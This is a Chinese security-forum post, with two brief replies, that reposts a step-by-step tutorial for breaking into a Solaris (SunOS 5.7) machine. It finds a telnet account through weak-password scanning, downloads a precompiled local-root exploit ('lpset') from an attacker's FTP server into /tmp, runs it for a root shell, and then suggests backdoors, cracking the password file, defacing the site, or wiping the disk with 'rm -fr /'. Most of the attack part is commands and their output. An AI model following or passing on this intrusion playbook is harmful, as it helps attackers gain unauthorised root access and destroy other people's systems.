20CN网络安全小组论坛 - UNIX系统

论坛: UNIX系统标题: 三尺云的太长了

作者: tysx [tysx]

转载：
大家一起来学习一下UNIX系统的本地溢出，首先我们要有一个TELNET普通用户帐号，这样才能进行下一步。
注：怎么能找到一个telnet的普通帐好呢？你要有个好的扫描器，我用的是小容的流光IV.我觉得很好用，他对弱口令的扫描非常出色。我有很多帐号都是靠他扫出来的，当然，也有我自己猜出来的密码。：）流光具体怎么用我就不细说了。
比如：192.168.0.1（教程中所有的IP及帐号，密码都是虚构的），先TELNET上去
TELNET 192.168.0.1
这时显示的是对方机器的系统版本SunOS 5.7
SunOS 5.7
注：怎么才能看的更详细呢？有个命令uname -a能看到版本的详细情况。
好，输入普通用户ID，PASSWORD
login: COOL
Password:
No directory! Logging in with home=/
注：在UNIX系统里面/是系统的根目录。home/用户名是用户的根目录，如果管理好的系统，为了安全是不允许普通用户访问别的目录的。特别是根目录/
Last login: Sun Nov 25 12:06:50 from 61.177.3.254
注：这是你上回登陆系统的时间和IP。
Sun Microsystems Inc.  SunOS 5.7    Generic October 1998
注：进去以后为了保险起见，最好打一下命令W，看看ROOT（系统管理员）在没在，安全第一！
输入后会显示以上信息，然后改变目录
$ cd /tmp 注：这是UNIX系统的临时文件夹，进入这个文件夹，是因为这个文件夹大都可以写，可以运行程序。
显示一下文件
$ ls
注：相当与DOS下的DIR。可以加参数。LS -LA
dtdbcache_:0  ps_data     sdtvolcheck330 speckeysd.lock
接下来，我们要在tmp里上传一个溢出程序，
注：我们怎么知道传什么益出程序呢，哈，别忘了，我们已经扫描过了，不但得到他的用户和帐号，而且还知道他的致命漏洞。这就是有一个好的扫描器的好处。还有，我在前面说过了，用UNAME -A也可以知道他的系统版本，有什么样的益出漏洞。平时多注意资料。
我的程序是放在192.168.0.2的FTP里的。
注：因为通常的默认安装没有gcc编译器，所以从FTP服务器下载编译好的溢出程序
$ ftp 192.168.0.2
注：你最好有个自己的FTP，如果没有就去申请一个免费个人主页。以下是FTP操作，基本没什么难度，你只要会用几个基本的就可以了。get file是下载文件，put file是上传文件。
Connected to 192.168.0.2.
220 fw-sddz FTP server (SunOS 5.7) ready.
Name (192.168.0.2:COOL): ALEX
331 Password required for ALEX
Password:
230 User ALEX logged in.
ftp> get lpset
200 PORT command successful.
150 ASCII data connection for lpset (192.168.0.1,32910) (26148 bytes).
226 ASCII Transfer complete.
local: lpset remote: lpset
26208 bytes received in 3.1 seconds (8.30 Kbytes/s)
ftp> bye
221 Goodbye.
然后
$ chmod 777 lpset
注：CHMOD命令的意思是改变文件的属性，让LPSET为任何人都可以执行，在UNIX系统里，当执行LS -LA命令时，最前面所显示出来的那10个字符就是用来区别文件与目录及访问权限的。第一个是d，表示是目录。是-表示是文件。其余9个是用来表示文件或者目录的访问权限，3个为一组。左边3个是表示文件或目录拥有者的访问权限。中间的3个是表示同一组的用户权限，右边3个是其他用户的访问权限。访问权限可以分为4种，权限的定义是R=4=读，W=2=写，X=1=执行，-表示不允许访问。 7的意思就是4+2+1。表示可以读，写，执行。777就表示任何人都可以读，写，执行。
接着执行
$ ./lpset
注：。/是表示运行LPSET这个程序。
copyright LAST STAGE OF DELIRIUM apr 2000 poland //shenxu.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc

FNS for files is not installed
Cannot use this command in this environment
Use: fncreate -t org command to install
#
注：在UNIX系统里 $的提示符号是表示普通用户。相当于DOS下的C：\
#的提示符号是表示超级管理员，超级管理员掌握系统的生杀大权，拥有一切权力。
如果显示以上的信息，说明溢出成功了。这时就可以获得ROOT权限。
注：获得ROOT权限还能干什么呢？哈，你能干一切你想干的事，比如说留一个后门，方便我们以后再次进入，可以添加用户，删除用户，可以拿到他的密码文件，用解密软件跑出他的用户密码，当然也可以黑掉他的主页。如果你对这个系统有刻骨的仇恨，你也可以把他的根目录下的所以文件都删除！RM -FR / 哈！
千万不要入侵国内主机！！！

地主发表时间: 04/21 16:10

回复: xiaojun [xiaojun]

剑客

我faint~~~~。你这名字起的倒是挺有吸引力的，连我都忍不住进来看看了，真有一套……

B1层发表时间: 04/22 09:20

回复: icesky [icesky]

论坛用户

一般是不会上你写的!

B2层发表时间: 04/22 10:14

论坛: UNIX系统